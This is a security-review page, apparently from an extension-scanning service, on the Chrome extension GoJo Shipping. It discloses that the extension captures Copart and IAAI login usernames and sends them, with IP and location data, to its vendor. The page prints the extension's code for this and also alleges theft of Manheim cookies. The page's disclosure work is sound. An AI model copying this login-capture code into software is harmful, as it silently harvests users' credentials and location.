Is GoJo Shipping safe?

Medium risk

GoJo Shipping sends Copart and IAAI login usernames with IP and location details to its vendor backend.

When a user who is not signed in to the extension logs in to Copart or IAAI, it reads the username from the login request and sends it with IP address, ISP, city, geolocation and browser details to the vendor's auction-auth-log endpoint. After a Manheim login, it also reads all manheim.com cookies, including HttpOnly ones, and posts them to the vendor's backend.

auctiongate.iov0.18.11.8Chrome Web Store
49Risk
Who publishes it

auctiongate.io - 9 other listings from the same operator, 6 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
auctiongate.io

Same store account

9 other listings published from this account, 11k+ users between them. 6 of them carry a finding.

Shared hosts - 20 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

auction.copart.ca
Also called by 1 other listing: RAM Shipping
auction.copart.com
Also called by 1 other listing
negotiation.iaai.com
Also called by 1 other listing: RAM Shipping
wss-api.auctiongate.io
Also called by 1 other listing: RAM Shipping
2ip.io
Also called by 2 other listings
account.manheim.com
Also called by 2 other listings: RAM Shipping, ListCentral Extension
api.allreports.tools
Also called by 2 other listings
auctiongate.io
Also called by 2 other listings, including Stat Vin
checkvin-online.com
Also called by 2 other listings, including Stat Vin
delivery-calculator.stat.vin
Also called by 2 other listings
deliverycalculator.parsite.dev
Also called by 2 other listings
extmetrics.auctiongate.io
Also called by 2 other listings, including Stat Vin
g2auction.copart.ca
Also called by 2 other listings, including Stat Vin
happycarservice.com
Also called by 2 other listings
helpdesk.auctiongate.io
Also called by 2 other listings
onesearch-api.manheim.com
Also called by 2 other listings
auctionhistory.io
Also called by 3 other listings, including OpenDataCar
portal.auctionnow
Also called by 3 other listings, including OpenDataCar
stat.vin
Also called by 3 other listings, including OpenDataCar
mcom-header-footer.manheim.com
Also called by 6 other listings, including OpenDataCar, Boss Motors extension, GLB GE extension

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Copart and IAAI login names are sent with IP and location to the vendor

Code analysis shows the extension reads the username you type at Copart or IAAI login and posts it with your IP, ISP, city and coordinates to the vendor's API when you are not signed in to the extension.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You sign in to copart.com or login.iaai.com while not signed in to the extension.

The extension did this

The extension sends your login name, IP address and location to the vendor's auction-auth-log endpoint.

The record also carries the last known extension account identity.

Fields in the posted record
  • Auction login name
    buyer@example.com (illustrative)

    The username or email typed into the Copart or IAAI login form.

  • IP address
    203.0.113.24 (illustrative)

    Your public IP as returned by third-party lookup services.

  • ISP
    Example Telecom (illustrative)

    The network provider reported for your IP.

  • City, region, coordinates
    Dallas, Texas, 32.78, -96.80 (illustrative)

    Approximate location derived from your IP.

  • User agent and platform
    Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/130

    Browser and operating system strings.

  • Last extension identity
    last_app_user_id: 48213 (illustrative)

    The last user name, company ID and user ID seen in the extension.

The code that does this

guestLoginControl.js

Readable version

Readable form

js/background/utils/guestLoginControl.js
export const guestLoginControl = ({setLocalstorage: e, getLocalstorage: t, getIPInfo: a, URI: o, apiToken: r, MOD_VALUE: n}) => {  function s(e) {    const {initiator: t, statusCode: a, responseHeaders: o} = e, r = Boolean(t?.includes("iaai") && 302 === a && d({      responseHeaders: o,      auction: "iaai"    })), n = Boolean(t?.includes("copart") && 302 === a && d({      responseHeaders: o,      auction: "copart"    }));    return r || n;  }  async function i(e) {    const t = new Headers;    t.append("Accept", "application/json");    const a = new FormData;    a.append("api_token", r[n]);    Object.keys(e).forEach((t => {      a.append(t, e[t]);    }));    await fetch(o.createGuestUser, {      headers: t,      body: a,      method: "POST"    }).then((e => e.json())).catch((() => null));  }  async function u({currentGuestDTO: e, ipInfo: a}) {    if (!e) {      return {};    }    const o = await t("last_user_name") || "", r = await t("last_company_id") || "", n = await t("last_user_id") || "", s = await t("last_login_date") || "";    return {      host: e?.host,      event: "Guest user auth",      timestamp: String(Date.now()),      date: (new Date).toISOString(),      user_agent: navigator.userAgent,      platform: navigator?.userAgentData?.platform || navigator?.platform,      user_ip: a?.userIP,      user_isp: a?.userISP,      user_city: a?.userCity,      user_country: a?.userCountry,      user_region: a?.userRegion,      latitude: a?.latitude,      longitude: a?.longitude,      app_user_name: e?.userName,      last_app_user_name: o,      last_app_user_company_id: r,      last_app_user_id: n,      last_login_date: s    };  }  async function c() {    if (await t("is_auth")) {      chrome.storage.local.remove("currentGuestDTO");      return;    }    let e = {}, o = 0;    for (;;) {      o += 1;      e = await t("currentGuestDTO");      if (e?.email || o > 10) {        break;      }      await new Promise((e => setTimeout(e, 200)));    }    const r = await a(), n = await u({      currentGuestDTO: e,      ipInfo: r    });    if (n?.last_app_user_id) {      try {        await i(n);        chrome.storage.local.remove("currentGuestDTO");      } catch (e) {}    }  }  function d({responseHeaders: e, auction: t}) {    if (!e?.length) {      return !1;    }    if ("iaai" === t) {      return e.find((({name: e}) => "location" === e.toLowerCase()))?.value.includes("/connect/authorize");    }    if ("copart" === t) {      return e.find((({name: e}) => "location" === e.toLowerCase()))?.value.includes("/loginSuccess.html");    } else {      return;    }  }  chrome.webRequest.onHeadersReceived.addListener((e => {    if (s(e)) {      c();    }  }), {    urls: [ "https://login.iaai.com/Identity/*", "https://www.copart.com/processLogin/*" ]  }, [ "responseHeaders" ]);  chrome.webRequest.onBeforeRequest.addListener((async function(t) {    const a = new URL(t.url).host, o = a.includes("copart") ? "copart" : a.includes("iaai") ? "iaai" : null;    if (o) {      if ("POST" === t.method && t.requestBody?.raw?.[0]?.bytes && "copart" === o) {        try {          const o = t.requestBody.raw[0].bytes, r = new TextDecoder("utf-8").decode(o);          if (!r.trim()) {            return;          }          let n;          try {            n = JSON.parse(r);          } catch (e) {            return;          }          const s = n.username;          await e({            currentGuestDTO: {              userName: s,              host: a            }          });        } catch (e) {}      }      if ("POST" === t.method && "iaai" === o) {        const o = t.requestBody?.formData?.["Input.Email"]?.[0];        await e({          currentGuestDTO: {            userName: o,            host: a          }        });      }    }  }), {    urls: [ "https://www.copart.com/processLogin/*", "https://login.iaai.com/Identity/*" ]  }, [ "requestBody" ]);};void "gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:gojordan:0.18.11:";
Destinations
    • vendor API (/api/v1/auction-auth-log)

    Receives the login name, IP, location and extension identity record.

    • json.geoiplookup.io

    Queried by the extension to resolve IP, ISP and location.

    • ip-api.com

    Queried over plain HTTP for the same IP and location data.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed GoJo Shipping contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • ip-api.comwidely used

    GoJo Shipping sends data to ip-api.com. A widely used service: 73 other extensions we have analysed send data here.

  • json.geoiplookup.io

    GoJo Shipping sends data to json.geoiplookup.io. 17 other extensions we have analysed send data here.

  • GoJo Shipping vendor API (add-manheim-auth-hash)

    GoJo Shipping sends data to GoJo Shipping vendor API (add-manheim-auth-hash). Named as a recipient in this extension's own analysis.

  • GoJo Shipping vendor API (auction-auth-log)

    GoJo Shipping sends data to GoJo Shipping vendor API (auction-auth-log). Named as a recipient in this extension's own analysis.

Updated 15 October 2026cffbjmjkcdfnjomcbacmmblapkpdjpjn